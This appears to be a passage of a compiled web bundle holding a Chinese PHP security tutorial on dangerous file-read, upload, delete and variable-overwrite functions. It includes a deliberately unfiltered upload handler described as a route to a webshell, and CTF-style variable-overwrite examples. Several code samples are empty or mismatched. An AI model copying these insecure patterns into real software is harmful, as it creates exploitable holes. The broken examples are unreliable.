\n)\n'})}),"\n",(0,r.jsx)(e.h3,{id:"parse_ini_file",children:"parse_ini_file()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u540d\u79f0\u53ef\u4ee5\u770b\u51fa\uff0c\u8fd9\u4e2a\u51fd\u6570\u4e0d\u662f\u8bfb\u53d6\u4e00\u4e2a\u7b80\u5355\u7684\u6587\u4ef6\u3002\u5b83\u7684\u529f\u80fd\u662f\u89e3\u6790\u4e00\u4e2a\u914d\u7f6e\u6587\u4ef6(ini\u6587\u4ef6)\uff0c\u5e76\u4ee5\u6570\u7ec4\u7684\u5f62\u5f0f\u8fd4\u56de\u5176\u4e2d\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"parse_ini_file(file,process_sections)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-22",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684ini\u6587\u4ef6"}),"\n",(0,r.jsx)(e.li,{children:"process_sections\uff1a\u53ef\u9009\u3002\u82e5\u4e3aTRUE\uff0c\u5219\u8fd4\u56de\u4e00\u4e2a\u591a\u7ef4\u6570\u7ec4\uff0c\u5305\u62ec\u4e86\u8be6\u7ec6\u4fe1\u606f"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\ndemo.ini\u5185\u5bb9\uff1a\n[names]\nme = Robert\nyou = Peter\n\n[urls]\nfirst = "http://www.example.com"\nsecond = "https://www.runoob.com"\n\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[me] => Robert \n[you] => Peter \n[first] => http://www.example1.com \n[second] => https://www.example2.com \n)\n'})}),"\n",(0,r.jsx)(e.h3,{id:"show_sourcehighlight_file",children:"show_source()/highlight_file()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e24\u4e2a\u51fd\u6570\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u60f3\u5fc5\u5927\u5bb6\u4e5f\u7ecf\u5e38\u89c1\u5230\u8fd9\u4e24\u4e2a\u51fd\u6570\uff0c\u5176\u4f5c\u7528\u5c31\u662f\u8ba9php\u4ee3\u7801\u663e\u793a\u5728\u9875\u9762\u4e0a\u3002\u8fd9\u4e24\u4e2a\u6ca1\u6709\u4efb\u4f55\u533a\u522b\uff0c",(0,r.jsx)(e.code,{children:"show_source"}),"\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(e.code,{children:"highlight_file"}),"\u7684\u522b\u540d\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u603b\u7ed3-2",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u6587\u4ef6\u8bfb\u53d6\u8fd9\u5757\u5185\u5bb9\u6ca1\u4ec0\u4e48\u597d\u8bf4\u7684\uff0c\u4e0d\u96be\uff0c\u5927\u591a\u53ea\u662f\u57fa\u672c\u7684\u5e94\u7528\u3002\u91cd\u70b9\u6587\u4ef6\u8bfb\u53d6\u5982\u679c\u6ca1\u6709\u8bbe\u7f6e\u6743\u9650\u548c\u8fc7\u6ee4\u53c2\u6570\uff0c\u90a3\u5c31\u95ee\u9898\u5927\u4e86\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u4e86\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8865\u5145\uff1a\u4ec0\u4e48\u662f\u53e5\u67c4\uff1f"}),"\n",(0,r.jsx)(e.p,{children:"\u5f00\u5c40\u5148\u7ed9\u4e00\u6bb5\u4ee3\u7801"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'$file = fopen("demo.txt","rb");\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u5728\u8fd9\u6bb5\u4ee3\u7801\u4e2d",(0,r.jsx)(e.code,{children:"$file"}),"\u5c31\u662f\u4e00\u4e2a\u53e5\u67c4\u3002\u53e5\u67c4\u5173\u952e\u70b9\u5728\u201c\u67c4\u201d\uff0c\u540e\u9762\u7684",(0,r.jsx)(e.code,{children:"fopen"}),"\u662f\u4e00\u4e2a\u8d44\u6e90\uff0c\u597d\u6bd4\u4e00\u53e3\u9505\uff0c\u800c\u524d\u9762\u7684",(0,r.jsx)(e.code,{children:"$file"}),"\u5c31\u597d\u6bd4\u8fd9\u4e2a\u9505\u7684\u628a\u624b\u3002\u90a3\u4e48\u4ee5\u540e\u6211\u4eec\u5728\u64cd\u4f5c\u7684\u65f6\u5019\u64cd\u4f5c\u628a\u624b\u5c31\u884c\u4e86\u3002\u901a\u8fc7\u8fd9\u4e2a\u628a\u624b\u6211\u4eec\u53ef\u4ee5\u95f4\u63a5\u64cd\u4f5c\u6bd4\u8f83\u5927\u7684\u8d44\u6e90\u3002\u5176\u5b9e\u4e5f\u7c7b\u4f3cC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\uff0c\u53ea\u662f\u4e00\u4e2a\u6807\u8bc6\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u4e0a\u4f20",children:"\u6587\u4ef6\u4e0a\u4f20"}),"\n",(0,r.jsx)(e.h3,{id:"move_uploaded_file",children:"move_uploaded_file()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u662f\u5c06\u4e0a\u4f20\u7684\u6587\u4ef6\u79fb\u52a8\u5230\u65b0\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"move_uploaded_file(file,newloc)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-23",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u79fb\u52a8\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"newloc\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u65b0\u4f4d\u7f6e\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u672c\u51fd\u6570\u68c0\u67e5\u5e76\u786e\u4fdd\u7531 file \u6307\u5b9a\u7684\u6587\u4ef6\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff08\u5373\u901a\u8fc7 PHP \u7684 HTTP POST \u4e0a\u4f20\u673a\u5236\u6240\u4e0a\u4f20\u7684\uff09\u3002\u5982\u679c\u6587\u4ef6\u5408\u6cd5\uff0c\u5219\u5c06\u5176\u79fb\u52a8\u4e3a\u7531 newloc \u6307\u5b9a\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u679c file \u4e0d\u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u5982\u679c file \u662f\u5408\u6cd5\u7684\u4e0a\u4f20\u6587\u4ef6\uff0c\u4f46\u51fa\u4e8e\u67d0\u4e9b\u539f\u56e0\u65e0\u6cd5\u79fb\u52a8\uff0c\u4e0d\u4f1a\u51fa\u73b0\u4efb\u4f55\u64cd\u4f5c\uff0cmove_uploaded_file() \u5c06\u8fd4\u56de false\uff0c\u6b64\u5916\u8fd8\u4f1a\u53d1\u51fa\u4e00\u6761\u8b66\u544a\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"$fileName = $_SERVER['DOCUMENT_ROOT'].'/uploads/'.$_FILES['file']['name'];\nmove_uploaded_file($_FILES['file']['tmp_name'],$fileName )\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\u76f4\u63a5\u63a5\u6536\u4e0a\u4f20\u7684\u6587\u4ef6\uff0c\u6ca1\u6709\u8fdb\u884c\u4efb\u4f55\u7684\u8fc7\u6ee4\uff0c\u90a3\u4e48\u5f53\u6211\u4eec\u4e0a\u4f20getshell\u7684\u540e\u95e8\u65f6\uff0c\u5c31\u53ef\u4ee5\u76f4\u63a5\u83b7\u53d6\u6743\u9650\uff0c\u53ef\u89c1\u8fd9\u4e2a\u51fd\u6570\u662f\u4e0d\u80fd\u4e71\u7528\u7684\uff0c\u5373\u4fbf\u8981\u7528\u4e5f\u8981\u5c06\u8fc7\u6ee4\u89c4\u5219\u5b8c\u5584\u597d\uff0c\u9632\u6b62\u4e0a\u4f20\u4e0d\u5408\u6cd5\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u5220\u9664",children:"\u6587\u4ef6\u5220\u9664"}),"\n",(0,r.jsx)(e.h3,{id:"unlink",children:"unlink()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u7528\u6765\u5220\u9664\u6587\u4ef6\u3002\u6210\u529f\u8fd4\u56de TURE \uff0c\u5931\u8d25\u8fd4\u56de FALSE\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"unlink(filename,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-24",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u5220\u9664\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u77e5\u9053\uff0c\u4e00\u4e9b\u7f51\u7ad9\u662f\u6709\u5220\u9664\u529f\u80fd\u7684\u3002\u6bd4\u5982\u5e38\u89c1\u7684\u8bba\u575b\u7f51\u7ad9\uff0c\u662f\u6709\u5220\u9664\u8bc4\u8bba\u6216\u8005\u6587\u7ae0\u529f\u80fd\u7684\u3002\u5018\u82e5\u7f51\u7ad9\u6ca1\u6709\u5bf9\u5220\u9664\u5904\u505a\u9650\u5236\uff0c\u90a3\u4e48\u5c31\u53ef\u80fd\u4f1a\u5bfc\u81f4\u4efb\u610f\u6587\u4ef6\u5220\u9664\uff08\u751a\u81f3\u5220\u9664\u7f51\u7ad9\u6e90\u7801\uff09\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsx)(e.h3,{id:"session_destroy",children:"session_destroy()"}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e86\u89e3\u8fd9\u4e2a\u51fd\u6570\u4e4b\u524d\uff0c\u6211\u4eec\u9700\u8981\u5148\u4e86\u89e3 PHP session\u3002 PHP session \u53d8\u91cf\u7528\u4e8e\u5b58\u50a8\u5173\u4e8e\u7528\u6237\u4f1a\u8bdd\u7684\u4fe1\u606f\u3002\u5173\u4e8e sesson \u7684\u673a\u5236\u8fd9\u91cc\u6211\u5c31\u4e0d\u518d\u8fc7\u4e8e\u8be6\u7ec6\u4ecb\u7ecd\u3002"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"session_destroy()"}),"\u51fd\u6570\u7528\u6765\u9500\u6bc1\u4e00\u4e2a\u4f1a\u8bdd\u4e2d\u7684\u5168\u90e8\u6570\u636e\uff0c\u4f46\u5e76\u4e0d\u4f1a\u91cd\u7f6e\u5f53\u524d\u4f1a\u8bdd\u6240\u5173\u8054\u7684\u5168\u5c40\u53d8\u91cf\uff0c\u540c\u65f6\u4e5f\u4e0d\u4f1a\u91cd\u7f6e\u4f1a\u8bdd cookie"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:' \n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u53d8\u91cf\u8986\u76d6",children:"\u53d8\u91cf\u8986\u76d6"}),"\n",(0,r.jsx)(e.h3,{id:"extract",children:"extract()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u4ece\u6570\u7ec4\u4e2d\u5c06\u53d8\u91cf\u5bfc\u5165\u5230\u5f53\u524d\u7684\u7b26\u53f7\u8868\u3002\u5176\u5b9e\u4f5c\u7528\u5c31\u662f\u7ed9\u53d8\u91cf\u91cd\u65b0\u8d4b\u503c\uff0c\u4ece\u800c\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"extract(array,extract_rules,prefix)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-25",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"array\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u4f7f\u7528\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsxs)(e.li,{children:["extract_rules\uff1a\u53ef\u9009\u3002extract\u51fd\u6570\u5c06\u68c0\u67e5\u6bcf\u4e2a\u952e\u540d\u662f\u5426\u4e3a\u5408\u6cd5\u7684\u53d8\u91cf\u540d\uff0c\u540c\u65f6\u4e5f\u68c0\u67e5\u548c\u7b26\u53f7\u4e2d\u5df2\u7ecf\u5b58\u5728\u7684\u53d8\u91cf\u540d\u662f\u5426\u51b2\u7a81\uff0c\u5bf9\u4e0d\u5408\u6cd5\u6216\u8005\u51b2\u7a81\u7684\u952e\u540d\u5c06\u4f1a\u6839\u636e\u6b64\u53c2\u6570\u7684\u8bbe\u5b9a\u7684\u89c4\u5219\u6765\u51b3\u5b9a\u3002\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"EXTR_OVERWRITE - \u9ed8\u8ba4\u3002\u5982\u679c\u6709\u51b2\u7a81\uff0c\u5219\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_SKIP - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u4e0d\u8986\u76d6\u5df2\u6709\u7684\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_SAME - \u5982\u679c\u6709\u51b2\u7a81\uff0c\u5728\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_ALL - \u7ed9\u6240\u6709\u53d8\u91cf\u540d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_INVALID - \u4ec5\u5728\u4e0d\u5408\u6cd5\u6216\u6570\u5b57\u53d8\u91cf\u540d\u524d\u52a0\u4e0a\u524d\u7f00 prefix\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u8986\u76d6\u5b83\u4eec\u7684\u503c\u3002\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_PREFIX_IF_EXISTS - \u4ec5\u5728\u5f53\u524d\u7b26\u53f7\u8868\u4e2d\u5df2\u6709\u540c\u540d\u53d8\u91cf\u65f6\uff0c\u5efa\u7acb\u9644\u52a0\u4e86\u524d\u7f00\u7684\u53d8\u91cf\u540d\uff0c\u5176\u5b83\u7684\u90fd\u4e0d\u5904\u7406\u3002"}),"\n",(0,r.jsx)(e.li,{children:"EXTR_REFS - \u5c06\u53d8\u91cf\u4f5c\u4e3a\u5f15\u7528\u63d0\u53d6\u3002\u5bfc\u5165\u7684\u53d8\u91cf\u4ecd\u7136\u5f15\u7528\u4e86\u6570\u7ec4\u53c2\u6570\u7684\u503c\u3002"}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.li,{children:"prefix\uff1a\u53ef\u9009\u3002\u5982\u679c extract_rules \u53c2\u6570\u7684\u503c\u662f EXTR_PREFIX_SAME\u3001EXTR_PREFIX_ALL\u3001 EXTR_PREFIX_INVALID \u6216 EXTR_PREFIX_IF_EXISTS\uff0c\u5219 prefix \u662f\u5fc5\u9700\u7684\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:' "red",\n "size" => "medium",\n "name" => "dog");\n extract($one_array);\n echo "$color, $size, $name";\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nred, medium, dog\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u4e0a\u8ff0\u4ee3\u7801\u4e2d\uff0c\u6211\u4eec\u770b\u5230\uff0c\u672c\u6765\u6211\u4eec\u5b9a\u4e49\u7684color\u662fblue\uff0c\u8f93\u51fa\u7684\u65f6\u5019\u53d8\u6210\u4e86red\uff0c\u672c\u6765\u6211\u4eec\u6ca1\u6709\u5b9a\u4e49size\u548cname\uff0c\u53ef\u662f\u5374\u80fd\u8f93\u51fa\u8fd9\u4e24\u4e2a\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd8\u6709\u4e00\u4e9b\u5728CTF\u6bd4\u8d5b\u4e2d\u51fa\u73b0\u8fc7\u7684\u7528\u6cd5\uff0c\u6bd4\u5982\u76f4\u63a5\u8ba9\u4f60POST\u4f20\u53c2\u6765\u6539\u53d8\u67d0\u4e2a\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u53c2\u65f6\u5982\u679c\u6211\u4eecPOST\u4f20\u5165name=dog\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u4f1a\u56de\u663edog\uff0c\u8bf4\u660e\u8fd9\u4e2a\u51fd\u6570\u7684\u4f7f\u7528\u8ba9\u6211\u4eec\u5b9e\u73b0\u4e86\u53d8\u91cf\u7684\u8986\u76d6\uff0c\u6539\u53d8\u4e86\u53d8\u91cf\u7684\u503c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"parse_str",children:"parse_str()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u628a\u67e5\u8be2\u5230\u7684\u5b57\u7b26\u4e32\u89e3\u6790\u5230\u53d8\u91cf\u4e2d\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"parse_str(string,array)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-26",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"string\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u89e3\u6790\u7684\u5b57\u7b26\u4e32\u3002"}),"\n",(0,r.jsx)(e.li,{children:"array\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u5b58\u50a8\u53d8\u91cf\u7684\u6570\u7ec4\u540d\u79f0\u3002\u8be5\u53c2\u6570\u53ea\u662f\u53d8\u91cf\u5b58\u50a8\u5230\u6570\u7ec4\u4e2d\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b:"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray\n(\n [name] => Ameng\n [sex] => boy\n)\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u4e0a\u8ff0\u4ee3\u7801\u662f\u6709array\u60c5\u51b5\u4e0b\u7684\u4f7f\u7528\u60c5\u51b5\uff0c\u90a3\u4e48\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u5982\u679c\u6ca1\u6709array \u53c2\u6570\uff0c\u5219\u7531\u8be5\u51fd\u6570\u8bbe\u7f6e\u7684\u53d8\u91cf\u5c06\u8986\u76d6\u5df2\u5b58\u5728\u7684\u540c\u540d\u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nAmeng, ```\n\n\n\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u53d8\u91cfname\u548cage\u90fd\u53d1\u751f\u4e86\u53d8\u5316\uff0c\u88ab\u65b0\u7684\u503c\u8986\u76d6\u4e86\u3002\u8fd9\u91cc\u6211\u7528\u7684\u662f PHP 7.4.3 \u7248\u672c\u3002\u53d1\u73b0\u8fd9\u4e2a\u51fd\u6570\u7684\u8fd9\u4e2a\u4f5c\u7528\u8fd8\u662f\u5b58\u5728\u7684\uff0c\u4e14\u6ca1\u6709\u4efb\u4f55\u5371\u9669\u63d0\u793a\u3002\n\n### import_request_variables() \n\n\u6b64\u51fd\u6570\u5c06GET/POST/Cookie\u53d8\u91cf\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u4e2d\u3002\u4ece\u800c\u80fd\u591f\u8fbe\u5230\u53d8\u91cf\u8986\u76d6\u7684\u4f5c\u7528\u3002\n\n\u7248\u672c\u8981\u6c42\uff1aPHP 4 >= 4.1.0, PHP 5 < 5.4.\n```php\nbool import_request_variables ( string $types [, string $prefix ] )\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-27",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"types\uff1a\u6307\u5b9a\u9700\u8981\u5bfc\u5165\u7684\u53d8\u91cf\uff0c\u53ef\u4ee5\u7528\u5b57\u6bcd G\u3001P \u548c C \u5206\u522b\u8868\u793a GET\u3001POST \u548c Cookie\uff0c\u8fd9\u4e9b\u5b57\u6bcd\u4e0d\u533a\u5206\u5927\u5c0f\u5199\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u4f7f\u7528 g \u3001 p \u548c c \u7684\u4efb\u4f55\u7ec4\u5408\u3002POST \u5305\u542b\u4e86\u901a\u8fc7 POST \u65b9\u6cd5\u4e0a\u4f20\u7684\u6587\u4ef6\u4fe1\u606f\u3002\u6ce8\u610f\u8fd9\u4e9b\u5b57\u6bcd\u7684\u987a\u5e8f\uff0c\u5f53\u4f7f\u7528 gp \u65f6\uff0cPOST \u53d8\u91cf\u5c06\u4f7f\u7528\u76f8\u540c\u7684\u540d\u5b57\u8986\u76d6 GET \u53d8\u91cf\u3002"}),"\n",(0,r.jsx)(e.li,{children:"prefix\uff1a\u53d8\u91cf\u540d\u7684\u524d\u7f00\uff0c\u7f6e\u4e8e\u6240\u6709\u88ab\u5bfc\u5165\u5230\u5168\u5c40\u4f5c\u7528\u57df\u7684\u53d8\u91cf\u4e4b\u524d\u3002\u6240\u4ee5\u5982\u679c\u4f60\u6709\u4e2a\u540d\u4e3a userid \u7684 GET \u53d8\u91cf\uff0c\u540c\u65f6\u63d0\u4f9b\u4e86 pref_ \u4f5c\u4e3a\u524d\u7f00\uff0c\u90a3\u4e48\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a\u540d\u4e3a $pref_userid \u7684\u5168\u5c40\u53d8\u91cf\u3002\u867d\u7136 prefix \u53c2\u6570\u662f\u53ef\u9009\u7684\uff0c\u4f46\u5982\u679c\u4e0d\u6307\u5b9a\u524d\u7f00\uff0c\u6216\u8005\u6307\u5b9a\u4e00\u4e2a\u7a7a\u5b57\u7b26\u4e32\u4f5c\u4e3a\u524d\u7f00\uff0c\u4f60\u5c06\u83b7\u5f97\u4e00\u4e2a E_NOTICE \u7ea7\u522b\u7684\u9519\u8bef\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5982\u679c\u4ec0\u4e48\u53d8\u91cf\u4e5f\u4e0d\u4f20\uff0c\u90a3\u4e48\u9875\u9762\u5c06\u56de\u663e",(0,r.jsx)(e.code,{children:"You are not Ameng"}),"\u5982\u679c\u901a\u8fc7GET\u6216\u8005POST\u4f20\u5165",(0,r.jsx)(e.code,{children:"name=Ameng"}),"\u90a3\u4e48\u9875\u9762\u5c31\u4f1a\u56de\u663e",(0,r.jsx)(e.code,{children:"Ameng"})]}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u4ee5\u89c1\u5230\u6b64\u51fd\u6570\u8fd8\u662f\u5f88\u5371\u9669\u7684\uff0c\u6ca1\u6709\u4fee\u590d\u65b9\u6cd5\uff0c\u4e0d\u4f7f\u7528\u5c31\u662f\u6700\u597d\u7684\u65b9\u6cd5\u3002\u6240\u4ee5\u5728\u65b0\u7248\u672c\u7684 PHP \u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86\u8fd9\u4e2a\u51fd\u6570\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"foreach",children:"foreach()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"foreach"})," \u8bed\u6cd5\u7ed3\u6784\u63d0\u4f9b\u4e86\u904d\u5386\u6570\u7ec4\u7684\u7b80\u5355\u65b9\u5f0f\u3002",(0,r.jsx)(e.code,{children:"foreach"})," \u4ec5\u80fd\u591f\u5e94\u7528\u4e8e\u6570\u7ec4\u548c\u5bf9\u8c61\uff0c\u5982\u679c\u5c1d\u8bd5\u5e94\u7528\u4e8e\u5176\u4ed6\u6570\u636e\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u6216\u8005\u672a\u521d\u59cb\u5316\u7684\u53d8\u91cf\u5c06\u53d1\u51fa\u9519\u8bef\u4fe1\u606f\u3002\u6709\u4e24\u79cd\u8bed\u6cd5\uff1a"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"foreach (array_expression as $value)\n statement\nforeach (array_expression as $key => $value)\n statement\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u7b2c\u4e00\u79cd\u683c\u5f0f\u904d\u5386\u7ed9\u5b9a\u7684 array_expression \u6570\u7ec4\u3002\u6bcf\u6b21\u5faa\u73af\u4e2d\uff0c\u5f53\u524d\u5355\u5143\u7684\u503c\u88ab\u8d4b\u7ed9 $value \u5e76\u4e14\u6570\u7ec4\u5185\u90e8\u7684\u6307\u9488\u5411\u524d\u79fb\u4e00\u6b65\uff08\u56e0\u6b64\u4e0b\u4e00\u6b21\u5faa\u73af\u4e2d\u5c06\u4f1a\u5f97\u5230\u4e0b\u4e00\u4e2a\u5355\u5143\uff09\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u7b2c\u4e8c\u79cd\u683c\u5f0f\u505a\u540c\u6837\u7684\u4e8b\uff0c\u53ea\u662f\u9664\u4e86\u5f53\u524d\u5355\u5143\u7684\u952e\u540d\u4e5f\u4f1a\u5728\u6bcf\u6b21\u5faa\u73af\u4e2d\u88ab\u8d4b\u7ed9\u53d8\u91cf $key\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5982\u4f55\u5b9e\u73b0\u53d8\u91cf\u7684\u8986\u76d6\u5462\uff1f\u6211\u4eec\u6765\u770b\u4e2a\u6848\u4f8b."}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" $value)\t{ \n $$key = $value; \n } \n if($name == \"Ameng\"){\n echo 'You are right!';\n }\n\telse{\n echo 'You are flase!';\n }\n?>\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u90a3\u4e48\u6267\u884c\u7ed3\u679c\u662f\u600e\u6837\u7684\u5462\uff1f\u5f53\u6211\u4eec\u76f4\u63a5\u6253\u5f00\u9875\u9762\u7684\u65f6\u5019\u5b83\u4f1a\u8f93\u51fa",(0,r.jsx)(e.code,{children:"You are false!"}),",\u800c\u5f53\u6211\u4eec\u901a\u8fc7GET\u4f20\u53c2",(0,r.jsx)(e.code,{children:"name=Ameng"}),"\u7684\u65f6\u5019\uff0c\u5b83\u4f1a\u56de\u663e",(0,r.jsx)(e.code,{children:"You are 